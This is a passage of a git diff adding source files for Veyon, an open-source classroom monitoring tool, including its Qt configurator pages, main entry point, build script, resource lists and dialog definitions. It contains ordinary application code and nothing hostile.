+ closeEvent->accept(); + QMainWindow::closeEvent( closeEvent ); +} diff --git a/configurator/src/MainWindow.h b/configurator/src/MainWindow.h new file mode 100644 index 0000000..9ef3e89 --- /dev/null +++ b/configurator/src/MainWindow.h @@ -0,0 +1,67 @@ +/* + * MainWindow.h - main window of the Veyon Configurator + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef MAIN_WINDOW_H +#define MAIN_WINDOW_H + +#include + +class QAbstractButton; + +namespace Ui { +class MainWindow; +} + +class MainWindow : public QMainWindow +{ + Q_OBJECT +public: + MainWindow( QWidget* parent = nullptr ); + ~MainWindow() override; + + void reset( bool onlyUI = false ); + void apply(); + + +private slots: + void configurationChanged(); + void resetOrApply( QAbstractButton *btn ); + void loadSettingsFromFile(); + void saveSettingsToFile(); + void resetConfiguration(); + void aboutVeyon(); + + +private: + bool applyConfiguration(); + void loadConfigurationPagePlugins(); + + void closeEvent( QCloseEvent *closeEvent ) override; + + Ui::MainWindow *ui; + bool m_configChanged; + +} ; + +#endif diff --git a/configurator/src/MasterConfigurationPage.cpp b/configurator/src/MasterConfigurationPage.cpp new file mode 100644 index 0000000..6d37e2c --- /dev/null +++ b/configurator/src/MasterConfigurationPage.cpp @@ -0,0 +1,188 @@ +/* + * MasterConfigurationPage.cpp - page for configuring master application + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "BuiltinFeatures.h" +#include "PluginManager.h" +#include "FeatureManager.h" +#include "FileSystemBrowser.h" +#include "MonitoringMode.h" +#include "VeyonCore.h" +#include "VeyonConfiguration.h" +#include "MasterConfigurationPage.h" +#include "Configuration/UiMapping.h" + +#include "ui_MasterConfigurationPage.h" + + +MasterConfigurationPage::MasterConfigurationPage() : + ConfigurationPage(), + ui(new Ui::MasterConfigurationPage), + m_builtinFeatures( new BuiltinFeatures ), + m_featureManager() +{ + ui->setupUi(this); + +#define CONNECT_BUTTON_SLOT(name) \ + connect( ui->name, SIGNAL( clicked() ), this, SLOT( name() ) ); + + CONNECT_BUTTON_SLOT( openUserConfigurationDirectory ); + CONNECT_BUTTON_SLOT( openScreenshotDirectory ); + + populateFeatureComboBox(); +} + + + +MasterConfigurationPage::~MasterConfigurationPage() +{ + delete ui; + delete m_builtinFeatures; +} + + + +void MasterConfigurationPage::resetWidgets() +{ + FOREACH_VEYON_DIRECTORIES_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_MASTER_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + + m_disabledFeatures = VeyonCore::config().disabledFeatures(); + + updateFeatureLists(); +} + + + +void MasterConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_VEYON_DIRECTORIES_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_MASTER_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +void MasterConfigurationPage::applyConfiguration() +{ +} + + + +void MasterConfigurationPage::openUserConfigurationDirectory() +{ + FileSystemBrowser( FileSystemBrowser::ExistingFile ).exec( ui->userConfigurationDirectory ); +} + + + +void MasterConfigurationPage::openScreenshotDirectory() +{ + FileSystemBrowser( FileSystemBrowser::ExistingDirectory ).exec( ui->screenshotDirectory ); +} + + + +void MasterConfigurationPage::enableFeature() +{ + const auto items = ui->disabledFeaturesListWidget->selectedItems(); + + for( auto item : items ) + { + m_disabledFeatures.removeAll( item->data( Qt::UserRole ).toString() ); + } + + VeyonCore::config().setDisabledFeatures( m_disabledFeatures ); + + updateFeatureLists(); +} + + + +void MasterConfigurationPage::disableFeature() +{ + const auto items = ui->allFeaturesListWidget->selectedItems(); + + for( auto item : items ) + { + QString featureUid = item->data( Qt::UserRole ).toString(); + m_disabledFeatures.removeAll( featureUid ); + m_disabledFeatures.append( featureUid ); + } + + VeyonCore::config().setDisabledFeatures( m_disabledFeatures ); + + updateFeatureLists(); +} + + + +void MasterConfigurationPage::populateFeatureComboBox() +{ + ui->computerDoubleClickFeature->addItem( QIcon(), tr( "" ), QUuid() ); + ui->computerDoubleClickFeature->insertSeparator( ui->computerDoubleClickFeature->count() ); + + for( const auto& feature : m_featureManager.features() ) + { + if( feature.testFlag( Feature::Master ) ) + { + ui->computerDoubleClickFeature->addItem( QIcon( feature.iconUrl() ), + feature.displayName(), + feature.uid() ); + } + } +} + + + +void MasterConfigurationPage::updateFeatureLists() +{ + ui->allFeaturesListWidget->setUpdatesEnabled( false ); + ui->disabledFeaturesListWidget->setUpdatesEnabled( false ); + + ui->allFeaturesListWidget->clear(); + ui->disabledFeaturesListWidget->clear(); + + for( const auto& feature : qAsConst( m_featureManager.features() ) ) + { + if( feature.testFlag( Feature::Master ) == false || + feature == m_builtinFeatures->monitoringMode().feature() ) + { + continue; + } + + QListWidgetItem* item = new QListWidgetItem( QIcon( feature.iconUrl() ), feature.displayName() ); + item->setData( Qt::UserRole, feature.uid().toString() ); + + if( m_disabledFeatures.contains( feature.uid().toString() ) ) + { + ui->disabledFeaturesListWidget->addItem( item ); + } + else + { + ui->allFeaturesListWidget->addItem( item ); + } + } + + ui->allFeaturesListWidget->setUpdatesEnabled( true ); + ui->disabledFeaturesListWidget->setUpdatesEnabled( true ); +} diff --git a/configurator/src/MasterConfigurationPage.h b/configurator/src/MasterConfigurationPage.h new file mode 100644 index 0000000..129c221 --- /dev/null +++ b/configurator/src/MasterConfigurationPage.h @@ -0,0 +1,67 @@ +/* + * MasterConfigurationPage.h - header for the MasterConfigurationPage class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef MASTER_CONFIGURATION_PAGE_H +#define MASTER_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" +#include "FeatureManager.h" + +class BuiltinFeatures; + +namespace Ui { +class MasterConfigurationPage; +} + +class MasterConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + MasterConfigurationPage(); + ~MasterConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void openUserConfigurationDirectory(); + void openScreenshotDirectory(); + void enableFeature(); + void disableFeature(); + +private: + void populateFeatureComboBox(); + void updateFeatureLists(); + + Ui::MasterConfigurationPage *ui; + + BuiltinFeatures* m_builtinFeatures; + + FeatureManager m_featureManager; + QStringList m_disabledFeatures; + +}; + +#endif // MASTER_CONFIGURATION_PAGE_H diff --git a/configurator/src/ServiceConfigurationPage.cpp b/configurator/src/ServiceConfigurationPage.cpp new file mode 100644 index 0000000..e2370f0 --- /dev/null +++ b/configurator/src/ServiceConfigurationPage.cpp @@ -0,0 +1,166 @@ +/* + * ServiceConfigurationPage.cpp - page for configuring service application + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "FileSystemBrowser.h" +#include "VeyonConfiguration.h" +#include "PluginManager.h" +#include "ServiceConfigurationPage.h" +#include "VeyonServiceControl.h" +#include "VncServerPluginInterface.h" +#include "Configuration/UiMapping.h" + +#include "ui_ServiceConfigurationPage.h" + + +ServiceConfigurationPage::ServiceConfigurationPage() : + ConfigurationPage(), + ui(new Ui::ServiceConfigurationPage), + m_vncServerPluginConfigurationWidget( nullptr ) +{ + ui->setupUi(this); + + // TODO: finish multi session support + ui->isMultiSessionServiceEnabled->hide(); + + updateServiceControl(); + populateVncServerPluginComboBox(); + + auto serviceUpdateTimer = new QTimer( this ); + serviceUpdateTimer->start( 2000 ); + + connect( serviceUpdateTimer, &QTimer::timeout, this, &ServiceConfigurationPage::updateServiceControl ); +} + + + +ServiceConfigurationPage::~ServiceConfigurationPage() +{ + delete ui; +} + + + +void ServiceConfigurationPage::resetWidgets() +{ + FOREACH_VEYON_SERVICE_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_NETWORK_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_VNC_SERVER_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); +} + + + +void ServiceConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_VEYON_SERVICE_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_NETWORK_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_VNC_SERVER_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + +void ServiceConfigurationPage::applyConfiguration() +{ + VeyonServiceControl serviceControl( this ); + + if( serviceControl.isServiceRunning() && + QMessageBox::question( this, tr( "Restart %1 Service" ).arg( VeyonCore::applicationName() ), + tr( "All settings were saved successfully. In order to take " + "effect the %1 service needs to be restarted. " + "Restart it now?" ).arg( VeyonCore::applicationName() ), + QMessageBox::Yes | QMessageBox::No, QMessageBox::Yes ) == QMessageBox::Yes ) + { + serviceControl.stopService(); + serviceControl.startService(); + } +} + + + +void ServiceConfigurationPage::startService() +{ + VeyonServiceControl( this ).startService(); + + updateServiceControl(); +} + + + +void ServiceConfigurationPage::stopService() +{ + VeyonServiceControl( this ).stopService(); + + updateServiceControl(); +} + + + +void ServiceConfigurationPage::updateServiceControl() +{ + bool running = VeyonServiceControl( this ).isServiceRunning(); + + ui->startService->setEnabled( !running ); + ui->stopService->setEnabled( running ); + ui->serviceState->setText( running ? tr( "Running" ) : tr( "Stopped" ) ); +} + + + +void ServiceConfigurationPage::updateVncServerPluginConfigurationWidget() +{ + delete m_vncServerPluginConfigurationWidget; + m_vncServerPluginConfigurationWidget = nullptr; + + auto pluginUid = ui->vncServerPlugin->currentData().toUuid(); + + auto vncServerPluginInterface = m_vncServerPluginInterfaces.value( pluginUid ); + + if( vncServerPluginInterface ) + { + m_vncServerPluginConfigurationWidget = vncServerPluginInterface->configurationWidget(); + + if( m_vncServerPluginConfigurationWidget ) + { + ui->vncServerGroupBoxLayout->addWidget( m_vncServerPluginConfigurationWidget ); + } + } +} + + + +void ServiceConfigurationPage::populateVncServerPluginComboBox() +{ + for( auto pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto vncServerPluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && vncServerPluginInterface ) + { + m_vncServerPluginInterfaces[pluginInterface->uid()] = vncServerPluginInterface; + ui->vncServerPlugin->addItem( pluginInterface->description(), pluginInterface->uid() ); + } + } +} diff --git a/configurator/src/ServiceConfigurationPage.h b/configurator/src/ServiceConfigurationPage.h new file mode 100644 index 0000000..bf78708 --- /dev/null +++ b/configurator/src/ServiceConfigurationPage.h @@ -0,0 +1,69 @@ +/* + * ServiceConfigurationPage.h - header for the ServiceConfigurationPage class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SERVICE_CONFIGURATION_PAGE_H +#define SERVICE_CONFIGURATION_PAGE_H + +#include + +#include "ConfigurationPage.h" +#include "Plugin.h" + +namespace Ui { +class ServiceConfigurationPage; +} + +class VncServerPluginInterface; + +class ServiceConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + ServiceConfigurationPage(); + ~ServiceConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +public slots: + void startService(); + void stopService(); + + +private slots: + void updateServiceControl(); + void updateVncServerPluginConfigurationWidget(); + +private: + void populateVncServerPluginComboBox(); + + Ui::ServiceConfigurationPage *ui; + + QMap m_vncServerPluginInterfaces; + QWidget* m_vncServerPluginConfigurationWidget; + +}; + +#endif // SERVICE_CONFIGURATION_PAGE_H diff --git a/configurator/src/main.cpp b/configurator/src/main.cpp new file mode 100644 index 0000000..b6e11ac --- /dev/null +++ b/configurator/src/main.cpp @@ -0,0 +1,95 @@ +/* + * main.cpp - main file for Veyon Configurator + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "ConfigurationTestController.h" +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "MainWindow.h" +#include "PlatformCoreFunctions.h" +#include "Logger.h" + + + +int main( int argc, char **argv ) +{ + VeyonCore::setupApplicationParameters(); + + QApplication app( argc, argv ); + + VeyonCore core( &app, QStringLiteral("Configurator") ); + + // make sure to run as admin + if( qEnvironmentVariableIntValue( "VEYON_CONFIGURATOR_NO_ELEVATION" ) == 0 && + VeyonCore::platform().coreFunctions().isRunningAsAdmin() == false ) + { + if( VeyonCore::platform().coreFunctions().runProgramAsAdmin( QCoreApplication::applicationFilePath(), + app.arguments().mid( 1 ) ) ) + { + return 0; + } + + QMessageBox::warning( nullptr, MainWindow::tr( "Insufficient privileges" ), + MainWindow::tr( "Could not start with administrative privileges. " + "Please make sure a sudo-like program is installed " + "for your desktop environment! The program will " + "be run with normal user privileges.") ); + } + + if( !VeyonConfiguration().isStoreWritable() && + VeyonCore::config().logLevel() < Logger::LogLevelDebug ) + { + QMessageBox::critical( nullptr, + MainWindow::tr( "Configuration not writable" ), + MainWindow::tr( "The local configuration backend reported that the " + "configuration is not writable! Please run the %1 " + "Configurator with higher privileges." ).arg( VeyonCore::applicationName() ) ); + return -1; + } + + // parse arguments + QStringListIterator argIt( app.arguments() ); + argIt.next(); + + while( argc > 1 && argIt.hasNext() ) + { + const QString a = argIt.next().toLower(); + + if( a == QStringLiteral("-test") ) + { + return ConfigurationTestController( app.arguments().mid( 2 ) ).run(); + } + } + + // now create the main window + auto mainWindow = new MainWindow; + + mainWindow->show(); + + qInfo( "App.Exec" ); + + return app.exec(); +} diff --git a/configurator/veyon-configurator.1 b/configurator/veyon-configurator.1 new file mode 100644 index 0000000..5d77399 --- /dev/null +++ b/configurator/veyon-configurator.1 @@ -0,0 +1,24 @@ +.TH VEYON-CONFIGURATOR 1 2018-12-07 Veyon +.SH NAME +veyon-configurator \- Veyon Configurator +.SH SYNOPSIS +\fBveyon-configurator\fP +.SH DESCRIPTION + +\fBVEYON-CONFIGURATOR\fR is a configuration tool which allows the site +admin to configure and customize all components of a local Veyon +installation through a graphical user interface. The program is started +by the administrator with elevated privileges whenever necessary. + +.PP +For more information about the veyon-configurator, point your browser to file:///usr/share/doc/packages/veyon-configurator or http://veyon.io/. +.SH SEE ALSO +.IR veyon-service (1), veyon-master (1) + +.PP +.IR http://veyon.io/ + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Frank Schütte and updated by Tobias Junghans. diff --git a/configurator/veyon-configurator.qrc b/configurator/veyon-configurator.qrc new file mode 100644 index 0000000..4d9ceaa --- /dev/null +++ b/configurator/veyon-configurator.qrc @@ -0,0 +1,21 @@ + + + resources/veyon-configurator.png + resources/help-about.png + resources/media-playback-start.png + resources/media-playback-stop.png + resources/go-up.png + resources/go-down.png + resources/go-next.png + resources/go-previous.png + resources/network-vpn.png + resources/configure-shortcuts.png + resources/application-x-ms-dos-executable.png + resources/application-x-sharedlib.png + resources/document-edit.png + resources/vcs-conflicting.png + resources/vcs-normal.png + resources/vcs-removed.png + resources/access-rule-ask.png + + diff --git a/configurator/veyon-configurator.rc.in b/configurator/veyon-configurator.rc.in new file mode 100644 index 0000000..f5c66e9 --- /dev/null +++ b/configurator/veyon-configurator.rc.in @@ -0,0 +1,26 @@ +veyonconfiguratoricon ICON data/veyon-configurator.ico +#include + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Configurator\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2010-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-configurator.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + END + END +END diff --git a/core/CMakeLists.txt b/core/CMakeLists.txt new file mode 100644 index 0000000..00cb8ed --- /dev/null +++ b/core/CMakeLists.txt @@ -0,0 +1,66 @@ +FILE(GLOB veyoncore_INCLUDES + ${CMAKE_CURRENT_SOURCE_DIR}/include/*.h + ${CMAKE_CURRENT_SOURCE_DIR}/include/Configuration/*.h +) +FILE(GLOB veyoncore_SOURCES + ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/src/Configuration/*.cpp +) + +FILE(GLOB veyoncore_UI ${CMAKE_CURRENT_SOURCE_DIR}/dialogs/*.ui) + +# find Qt's translation directory +IF(NOT VEYON_BUILD_WIN32) + GET_TARGET_PROPERTY(QT_QMAKE_EXECUTABLE Qt5::qmake IMPORTED_LOCATION) + EXECUTE_PROCESS(COMMAND "${QT_QMAKE_EXECUTABLE}" -query QT_INSTALL_TRANSLATIONS + OUTPUT_STRIP_TRAILING_WHITESPACE + OUTPUT_VARIABLE QT_TRANSLATIONS_DIR) + ADD_DEFINITIONS(-D'QT_TRANSLATIONS_DIR="${QT_TRANSLATIONS_DIR}"') +ENDIF() + + +SET(libvncclient_SOURCES + ${libvncserver_DIR}/libvncclient/cursor.c + ${libvncserver_DIR}/libvncclient/listen.c + ${libvncserver_DIR}/libvncclient/rfbproto.c + ${libvncserver_DIR}/libvncclient/sockets.c + ${libvncserver_DIR}/libvncclient/tls_none.c + ${libvncserver_DIR}/libvncclient/vncviewer.c + ${libvncserver_DIR}/common/d3des.c + ${libvncserver_DIR}/common/turbojpeg.c) + + +QT5_WRAP_CPP(veyoncore_MOC_out ${veyoncore_INCLUDES}) +QT5_WRAP_UI(veyoncore_UIC_out ${veyoncore_UI}) +QT5_ADD_RESOURCES(veyoncore_RCC_out ${CMAKE_CURRENT_SOURCE_DIR}/core.qrc ${CMAKE_CURRENT_BINARY_DIR}/builddata.qrc) + +ADD_DEFINITIONS(-DBUILD_VEYON_CORE_LIBRARY) + +INCLUDE_DIRECTORIES(${CMAKE_BINARY_DIR} ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/include ${libvncserver_DIR}/common/) +ADD_LIBRARY(veyon-core SHARED ${veyoncore_SOURCES} ${veyoncore_INCLUDES} ${veyoncore_MOC_out} ${veyoncore_UIC_out} ${veyoncore_RCC_out} ${veyoncore_qt_qm_out} ${libvncclient_SOURCES}) + +SET_SOURCE_FILES_PROPERTIES(${libvncclient_SOURCES} PROPERTIES COMPILE_FLAGS "-Wno-unused-variable -Wno-unused-label -Wno-maybe-uninitialized -Wno-misleading-indentation -Wno-pointer-sign -Wno-int-in-bool-context") + +TARGET_LINK_LIBRARIES(veyon-core + Qt5::Concurrent + Qt5::Gui + Qt5::Network + Qt5::Widgets + ${ZLIB_LIBRARIES} + ${JPEG_LIBRARIES} + ${PNG_LIBRARIES} + ${LZO_LIBRARIES} + ${QCA_LIBRARY} + ${OPENSSL_LIBRARIES} + ) + +IF(VEYON_BUILD_WIN32) + # add Windows Socket library required by libvncclient + TARGET_LINK_LIBRARIES(veyon-core -lws2_32) + SET_TARGET_PROPERTIES(veyon-core PROPERTIES PREFIX "") + INSTALL(TARGETS veyon-core RUNTIME DESTINATION ${VEYON_LIB_DIR}) +ELSE() + INSTALL(TARGETS veyon-core LIBRARY DESTINATION ${VEYON_LIB_DIR}) +ENDIF(VEYON_BUILD_WIN32) + +COTIRE_VEYON(veyon-core) diff --git a/core/builddata.qrc.in b/core/builddata.qrc.in new file mode 100644 index 0000000..ce4e9d7 --- /dev/null +++ b/core/builddata.qrc.in @@ -0,0 +1,5 @@ + + + @CONTRIBUTORS@ + + diff --git a/core/core.qrc b/core/core.qrc new file mode 100644 index 0000000..d7f65c8 --- /dev/null +++ b/core/core.qrc @@ -0,0 +1,38 @@ + + + ../COPYING + resources/icon64.png + resources/application-x-pem-key.png + resources/license.png + resources/user-group-new.png + resources/languages.png + resources/presentation-none.png + resources/system-suspend-hibernate.png + resources/icon16.png + resources/icon22.png + resources/icon32.png + resources/watch1.png + resources/watch2.png + resources/watch3.png + resources/watch4.png + resources/watch5.png + resources/watch6.png + resources/watch7.png + resources/watch8.png + resources/watch9.png + resources/watch10.png + resources/watch11.png + resources/watch12.png + resources/watch13.png + resources/watch14.png + resources/watch15.png + resources/watch16.png + resources/toolbar-background.png + resources/document-open.png + resources/document-save.png + resources/list-add.png + resources/edit-delete.png + resources/help-about.png + resources/default-pkey.pem + + diff --git a/core/dialogs/AboutDialog.ui b/core/dialogs/AboutDialog.ui new file mode 100644 index 0000000..2dfa078 --- /dev/null +++ b/core/dialogs/AboutDialog.ui @@ -0,0 +1,340 @@ + + + Tobias Junghans + AboutDialog + + + + 0 + 0 + 738 + 500 + + + + About Veyon + + + + :/resources/help-about.png:/resources/help-about.png + + + true + + + + 10 + + + 15 + + + 15 + + + 15 + + + 15 + + + + + 20 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 0 + 0 + + + + + + + :/resources/icon64.png + + + + + + + + 14 + 75 + true + + + + About Veyon + + + + + + + + + 0 + + + + + :/resources/help-about.png:/resources/help-about.png + + + About + + + + 24 + + + 24 + + + 9 + + + 9 + + + 16 + + + + + Veyon - Virtual Eye On Networks + + + + + + + Version: + + + + + + + Website: + + + + + + + <a href="http://github.com/veyon/veyon">http://veyon.io</a> + + + true + + + + + + + Copyright © 2004-2019 Tobias Junghans / Veyon Solutions + + + + + + + 0.0 + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + Support Veyon project with a donation + + + + + + + + + :/resources/user-group-new.png:/resources/user-group-new.png + + + Contributors + + + + 9 + + + 9 + + + 9 + + + 9 + + + 6 + + + + + QFrame::NoFrame + + + true + + + + + + + + + :/resources/languages.png:/resources/languages.png + + + Translation + + + + 6 + + + 24 + + + 24 + + + 24 + + + 24 + + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + Qt::AlignLeading|Qt::AlignLeft|Qt::AlignTop + + + true + + + + + + + + + :/resources/license.png:/resources/license.png + + + License + + + + 9 + + + 6 + + + + + QFrame::NoFrame + + + true + + + + + + + + + + + QDialogButtonBox::Ok + + + + + + + + + + + buttonBox + accepted() + AboutDialog + accept() + + + 285 + 361 + + + 285 + 194 + + + + + donateButton + clicked() + AboutDialog + openDonationWebsite() + + + 376 + 368 + + + 368 + 249 + + + + + + openDonationWebsite() + + diff --git a/core/dialogs/PasswordDialog.ui b/core/dialogs/PasswordDialog.ui new file mode 100644 index 0000000..a5f9552 --- /dev/null +++ b/core/dialogs/PasswordDialog.ui @@ -0,0 +1,142 @@ + + + PasswordDialog + + + Veyon Logon + + + + :/resources/application-x-pem-key.png:/resources/application-x-pem-key.png + + + + + + Please enter your username and password in order to access computers. + + + true + + + + + + + 16 + + + + + Username + + + + + + + + 350 + 0 + + + + + + + + Password + + + + + + + QLineEdit::Password + + + + + + + + + QDialogButtonBox::Cancel|QDialogButtonBox::Ok + + + + + + + + + + + buttonBox + accepted() + PasswordDialog + accept() + + + 206 + 137 + + + 169 + 79 + + + + + buttonBox + rejected() + PasswordDialog + reject() + + + 206 + 137 + + + 169 + 79 + + + + + password + textChanged(QString) + PasswordDialog + updateOkButton() + + + 204 + 107 + + + 169 + 78 + + + + + username + textChanged(QString) + PasswordDialog + updateOkButton() + + + 204 + 76 + + + 169 + 78 + + + + + + updateOkButton() + + diff --git a/core/include/AboutDialog.h b/core/include/AboutDialog.h new file mode 100644 index 0000000..7434146 --- /dev/null +++ b/core/include/AboutDialog.h @@ -0,0 +1,51 @@ +/* + * AboutDialog.h - declaration of AboutDialog class + * + * Copyright (c) 2011-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ABOUT_DIALOG_H +#define ABOUT_DIALOG_H + +#include + +#include "VeyonCore.h" + +namespace Ui +{ + class AboutDialog; +} + +class VEYON_CORE_EXPORT AboutDialog : public QDialog +{ + Q_OBJECT +public: + AboutDialog( QWidget *parent ); + ~AboutDialog() override; + +private slots: + void openDonationWebsite(); + +private: + Ui::AboutDialog *ui; +} ; + +#endif diff --git a/core/include/AccessControlProvider.h b/core/include/AccessControlProvider.h new file mode 100644 index 0000000..576ac2d --- /dev/null +++ b/core/include/AccessControlProvider.h @@ -0,0 +1,90 @@ +/* + * AccessControlProvider.h - declaration of class AccessControlProvider + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_PROVIDER_H +#define ACCESS_CONTROL_PROVIDER_H + +#include "AccessControlRule.h" + +class UserGroupsBackendInterface; +class NetworkObject; +class NetworkObjectDirectory; + +class VEYON_CORE_EXPORT AccessControlProvider +{ +public: + typedef enum AccessResults { + AccessDeny, + AccessAllow, + AccessToBeConfirmed, + AccessResultCount + } AccessResult; + + AccessControlProvider(); + + QStringList userGroups() const; + QStringList rooms() const; + QStringList roomsOfComputer( const QString& computer ) const; + + AccessResult checkAccess( const QString& accessingUser, const QString& accessingComputer, + const QStringList& connectedUsers ); + + bool processAuthorizedGroups( const QString& accessingUser ); + + 